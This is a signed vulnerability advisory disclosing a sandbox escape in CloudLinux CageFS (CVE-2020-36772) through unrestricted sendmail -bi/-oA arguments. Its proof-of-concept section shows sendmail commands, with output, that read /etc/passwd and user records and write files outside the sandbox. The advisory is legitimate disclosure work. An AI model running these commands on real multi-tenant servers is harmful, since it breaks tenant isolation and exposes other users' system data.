CloudLinux CageFS 7.0.8-2 Insufficiently Restricted Proxy Command

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256  
  
# CloudLinux CageFS Insufficiently Restricted Proxy Command #  
  
Link: https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-02_CloudLinux_CageFS_Insufficiently_Restricted_Proxy_Commands  
  
## Vulnerability Overview ##  
  
CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths  
supplied to the `sendmail` proxy command. This allows local users to read  
and write arbitrary files of certain file formats outside the CageFS  
environment.  
  
* **Identifier** : SBA-ADV-20200707-02  
* **Type of Vulnerability** : External Control of File Name or Path  
* **Software/Product Name** : [CloudLinux CageFS](https://www.cloudlinux.com/)  
* **Vendor** : CloudLinux Inc.  
* **Affected Versions** : <= 7.0.8-2  
* **Fixed in Version** : 7.1.1-1  
* **CVE ID** : CVE-2020-36772  
* **CVSS Vector** : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L  
* **CVSS Base Score** : 6.6 (Medium)  
  
## Vendor Description ##  
  
> CloudLinux OS is the leading platform for multitenancy. It improves  
> server stability, density, and security by isolating each tenant and  
> giving them allocated server resources. This creates an environment  
> that feels more like a virtual server than a shared hosting account.  
> By doing so, CloudLinux OS reduces operating costs and churn rates,  
> and increases profitability.  
  
Source: <https://www.cloudlinux.com/>  
  
## Impact ##  
  
A CageFS-restricted local user can read and write arbitrary files of certain  
file formats outside the CageFS environment by exploiting the vulnerability  
documented in this advisory.  
  
## Vulnerability Description ##  
  
CloudLinux offers a feature called proxy commands in CageFS environments.  
It allows limited execution of commands outside the CageFS environment from  
a user restricted within the CageFS environment.  
  
CageFS allows in its default configuration to execute `sendmail` as a proxy  
command outside the CageFS environment. This default configuration is  
designed to allow local programs sending emails by invoking `sendmail`.  
Due to the insufficient validation of sendmail's arguments an attacker can  
invoke other sendmail functionality as well. While CageFS applies some  
restrictions to the allowed arguments it does not restrict or validate the  
`-bi` and `-oA` arguments.  
  
Therefore, an attacker can have `sendmail` access arbitrary files which will  
be interpreted as alias database files by enabling the `newalias` mode of  
`sendmail` with `-bi` and specifying a file located outside the CageFS  
environment with `-oA`.  
  
On systems using the Postfix to Sendmail compatibility interface, a great  
number of different alias database types can be used to craft exploits.  
The compatibility interface internally calls `postalias` and besides the  
`-oA` argument already being dangerous by itself, it also suffers from an  
argument injection issue, which allows injection of additional Postfix  
specific arguments for `postalias`. However, this is not a security issue  
in Postfix.  
  
According to Postfix developers, Postfix's `sendmail` does not enforce a  
security policy on command-line arguments. Instead, it relies on the  
UNIX/Linux system to enforce access policies based on the effective user and  
group IDs of the process. If a security policy should be enforced, the  
calling process must sanitize the command-line arguments before they are  
given to `sendmail`. This includes but is not limited to sanity checks on  
pathnames, and if applicable sanity checks on file contents in a way that  
is not vulnerable to time-of-check to time-of-use race attacks, and  
disabling options processing with `--`.  
  
## Proof of Concept ##  
  
For example, an attacker can read arbitrary files that at least partially  
follow the structure `key <whitespace> value` via the lookup table type  
`texthash`:  
  
```sh  
$ sendmail -bi -oA'-s,-f,texthash:/etc/passwd'  
postalias: warning: /etc/passwd, line 1: expected format: key whitespace value -- ignoring this line  
[...]  
postalias: warning: /etc/passwd, line 211: expected format: key whitespace value -- ignoring this line  
sssd:x:496:493:User: for sssd:/:/sbin/nologin  
dbus:x:81:81:System: message bus:/:/sbin/nologin  
polkitd:x:497:495:User: for polkitd:/:/sbin/nologin  
tss:x:59:59:Account: used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin  
systemd-resolve:x:193:193:systemd: Resolver:/:/sbin/nologin  
rngd:x:494:491:Random: Number Generator Daemon:/var/lib/rngd:/sbin/nologin  
sshd:x:74:74:Privilege-separated: SSH:/var/empty/sshd:/sbin/nologin  
systemd-coredump:x:499:497:systemd: Core Dumper:/:/sbin/nologin  
nobody:x:65534:65534:Kernel: Overflow User:/:/sbin/nologin  
ftp:x:14:50:FTP: User:/var/ftp:/sbin/nologin  
unbound:x:498:496:Unbound: DNS resolver:/etc/unbound:/sbin/nologin  
nrpe:x:492:486:NRPE: user for the NRPE service:/var/run/nrpe:/sbin/nologin  
```  
  
The attacker can also use other lookup table types which might disclose  
sensitive information. For example, `unix` allows the query of specific  
users regardless of the format:  
  
```sh  
$ sendmail -bi -oA'-q,ftp2406151,unix:passwd.byname'  
ftp2406151:x:935:935::/home/ftp2406151:/sbin/nologin  
```  
  
An attacker can also write specific file formats outside the CageFS  
environment. For example, with the `hash` lookup table type:  
  
```sh  
$ echo sba:was_here | sendmail -bi -oA'-o,-p,-i,-f,hash:/tmp/sba_was_here'  
$ sendmail -bi -oA'-s,-f,hash:/tmp/sba_was_here'  
@: @  
YP_LAST_MODIFIED: 1594138203  
YP_MASTER_NAME: localhost  
sba: was_here  
```  
  
## Recommended Countermeasures ##  
  
We recommend to restrict the `sendmail` command to only strictly required  
parameters using an allow list approach. At least the following parameters  
are known to cause dangerous behavior:  
  
* `-oA`: Allows specification of multiple paths and additional arguments.  
It is important to consider that it is directly followed by the pathname  
without a separator, i.e., `-oA/etc/passwd`.  
* `-bi`: Enables the `newalias` mode of `sendmail`.  
* `-I`: Enables the `newalias` mode of `sendmail`.  
* `-v`: If the parameter is added at least two times, i.e., `-vv`,  
`-vvvvv` or `-v -v`, it enables the verbose mode, which leaks the  
Postfix configuration in some cases.  
  
We did not fully analyze other parameters of `sendmail`, therefore, it is  
possible that `sendmail` as proxy command is also prone to other attacks.  
  
## Timeline ##  
  
* `2020-07-07`: identification of vulnerability in version 7.0.6-1  
* `2020-07-10`: initial vendor contact  
* `2020-07-13`: initial vendor response  
* `2020-07-13`: disclosed vulnerability to vendor security contact  
* `2020-08-06`: vendor released version 7.1.1-1 to testing  
* `2020-09-03`: vendor released version 7.1.1-1 to production  
* `2020-10-02`: request CVE from MITRE  
* `2022-01-04`: MITRE declined request as it falls in the scope of Red Hat  
* `2024-01-19`: request CVE from Red Hat  
* `2024-01-22`: Red Hat assigned CVE-2020-36772  
* `2024-01-25`: public disclosure  
  
## References ##  
  
* CageFS 7.1.1-1 beta: <https://blog.cloudlinux.com/beta-cagefs-and-alt-python27-cllib-updated-1>  
* CageFS 7.1.1-1 production: <https://blog.cloudlinux.com/lve-manager-lve-stats-lve-utils-and-alt-python27-cllib-have-been-rolled-out-to-100>  
  
## Credits ##  
  
* David Lisa Gnedt ([SBA Research](https://www.sba-research.org/))  
-----BEGIN PGP SIGNATURE-----  
  
iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWyn0kACgkQ+7iGL1j3  
dbL5PhAAspmKHEa29DXuwNjJ/3l96fX2AiuPj5NDhoSF01tfakpNE0w86c8GiGvw  
GRhGQ0n1AO9qNcfyULjWjtQ8FwFuRPzPI0mfaycW2oDQ3BAG2LtFqmQvpUzTV6tP  
pckL2H50ptablRYlphFEY0XDt42ezU3wjokNK/cpRhZlzCs7mvd6LuCg5qXwBno/  
srsxlb4n1IdZRF5mh7ariYpObDvLUctwhri7RCBEqb6MZh+y6rSSPKsGdCHq/su2  
6KEH0mxNPwMJtccNah29SWvv+fZ9+mkK1IuuWIdhyM2XMTJxOE4n0AsoISVGI6bH  
9XgL0AQ3B3kyoqHbfCyoUonbz4mSdTFInqpuqlU0X6Wos+kjnS/27sH/De8ba+mm  
jmDDQFmoe1QrVkbDjXI7zBy81Qh3nVZ/qig/1SCex0i+IyO4HpdCYbjrs7I76C0V  
fvpd0VWb3BKpGHA4IhISA/jmCSlvxW+2gkHrhxfWhM1K3Pa/a0qH9RuCFAZ7B9qP  
OQM3Yrhbikqyaqh/ZI7nYMc33KfiPCiXKejDtaTGIVVThKHr1mQibgaYt+ILi0RH  
8uxH+tpuVqjEgVHZQMBQEAa3WvaGYo2kJJxU0z+3m/s6W45JhGguMzrH/n9z6XKo  
H4xyTp1YQ3aP6gZBgoMEkipkc0B+QK/zb+xOghfE3Cbjdx47gCo=  
=E60q  
-----END PGP SIGNATURE-----  
  
`